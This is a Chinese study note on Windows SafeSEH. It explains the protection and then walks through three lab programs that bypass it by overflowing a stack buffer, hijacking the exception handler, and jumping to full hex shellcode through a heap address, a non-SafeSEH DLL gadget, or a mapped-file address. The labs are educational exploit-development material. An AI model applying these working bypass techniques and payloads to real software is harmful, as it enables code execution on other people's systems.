11.1 SafeSEH 对异常处理的保护原理

  • SafeSEH的保护机制:

6-1.png

  • 检查异常处理链是否位于当前程序的栈中。
  • 检查异常处理函数指针是否指向当前程序的栈中
  • 在前面两项检查都通过后,程序调用一个全新的函数 RtlIsValidHandler(),来对异常处理函数的有效性进行验证。

image-20210415194411258.png

11.4从堆中绕过SafeSEH

  • 实验代码,编译为Release版本:
  1. #include <stdafx.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. char shellcode[]=
  5. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
  6. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
  7. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
  8. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
  9. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
  10. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
  11. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
  12. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
  13. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
  14. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
  15. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
  16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  17. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  18. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  19. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  20. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  21. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  22. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  23. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  24. "\xA0\x29\x39\x00"//address of shellcode in heap
  25. ;
  26. void test(char * input)
  27. {
  28. char str[200];
  29. strcpy(str,input);
  30. int zero=0;
  31. zero=1/zero;
  32. }
  33. void main()
  34. {
  35. char * buf=(char *)malloc(500);
  36. //__asm int 3
  37. strcpy(buf,shellcode);
  38. test(shellcode);
  39. }
  • 实验的原理是:如果 S.E.H 中的异常函数指针指向堆区,即使安全校验发现了 S.E.H 已经不可信,仍然会调用其已被修改过的异常处理函数,因此只要将 shellcode 布置到堆区就可以直接跳转执行。

    11.5利用未启用 SafeSEH 模块绕过 SafeSEH

  • 实验代码,编译为Release版本:

  1. #include "stdafx.h"
  2. #include <string.h>
  3. #include <windows.h>
  4. char shellcode[]=
  5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  14. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  15. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  17. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  18. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  19. "\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
  20. "\x90\x90\x90\x90\x90\x90\x90\x90"
  21. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
  22. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
  23. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
  24. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
  25. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
  26. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
  27. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
  28. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
  29. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
  30. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
  31. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
  32. ;
  33. DWORD MyException(void)
  34. {
  35. printf("There is an exception");
  36. getchar();
  37. return 1;
  38. }
  39. void test(char * input)
  40. {
  41. char str[200];
  42. strcpy(str,input);
  43. int zero=0;
  44. __try
  45. {
  46. zero=1/zero;
  47. }
  48. __except(MyException())
  49. {
  50. }
  51. }
  52. int _tmain(int argc, _TCHAR* argv[])
  53. {
  54. HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
  55. char str[200];
  56. __asm int 3
  57. test(shellcode);
  58. return 0;
  59. }
  • 实验的大致原理:如果模块未启用 SafeSEH,并且该模块不是仅包含中间语言(IL),这个异常处理就可以被执行。所以如果我们能够在加载的模块中找到一个未启用 SafeSEH 的模块,就可以利用它里面的指令作为跳板来绕过 SafeSEH。在实验中就是利用了SEH_NOSafeSEH_JUMP.dll模块中的“pop pop retn”指令序列让程序调到我们的shellcode处来执行。
  • 实验的步骤:
    • 首先需要在SEH_NOSafeSEH_JUMP.dll模块中找到一处“pop pop retn”的指令序列。

image-20210416105911781.png

  • 然后找到SEH链中最接近栈顶的SEH。

image-20210416110228521.png

  • 计算出缓冲区起始位置和这个SEH的距离,然后通过缓冲区的溢出,覆盖异常处理函数的指针,使异常处理函数的指针指向没有SafeSEH的模块的“pop pop retn”的指令序列。也就是通过这个指令序列将程序转到我们的shellcode处执行。

image-20210418140746078.pngimage-20210418140846876.png

  • 当程序执行转到我们的shellcode处时,会出现一些被修改的地方,这里有时会对我们的shellcode造成一些影响,只是本次实验没有产生。

image-20210418141751280.png

11.6 利用加载模块之外的地址绕过 SafeSEH

  • 实验代码,编译为Release版本:
  1. #include "stdafx.h"
  2. #include <string.h>
  3. #include <windows.h>
  4. char shellcode[]=
  5. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
  6. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
  7. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
  8. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
  9. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
  10. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
  11. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
  12. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
  13. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
  14. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
  15. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
  16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  17. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  18. "\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
  19. "\xEB\xF6\x90\x90"// machine code of short jump and \x90
  20. "\x0B\x0B\x29\x00"// address of call [ebp+30] in outside memory
  21. ;
  22. DWORD MyException(void)
  23. {
  24. printf("There is an exception");
  25. getchar();
  26. return 1;
  27. }
  28. void test(char * input)
  29. {
  30. char str[200];
  31. strcpy(str,input);
  32. int zero=0;
  33. __try
  34. {
  35. zero=1/zero;
  36. }
  37. __except(MyException())
  38. {
  39. }
  40. }
  41. int _tmain(int argc, _TCHAR* argv[])
  42. {
  43. __asm int 3
  44. test(shellcode);
  45. return 0;
  46. }
  • 实验的流程:
    • 首先需要在内存中找到程序加载的模块(除了EXE和DLL),如下图所示,类型为 Map 的映射文件,SafeSEH 是无视它们的,
      当异常处理函数指针指向这些地址范围内时,是不对其进行有效性验证的,所以如果我们可以在这些文件中找到跳转指令的话就可以绕过 SafeSEH。

image-20210418145650856.png

  • 然后利用OllyDbug的插件OllyFindAddr找到一条跳转指令,如在0x00290B0B 处找到了一条 call [ ebp+0x30]的指令。
  • 由于0x00290B0B 这个地址中包含了0x00,也就是在字符串复制(strcpy)的时候会0x00之后的内容会被截断,因此需要将shellcode放在跳板的前面。
  • 执行完strcpy之后,内存的情况如下图所示:

image-20210418151601830.png

  • 原理图如下所示:

image-20210418151939806.png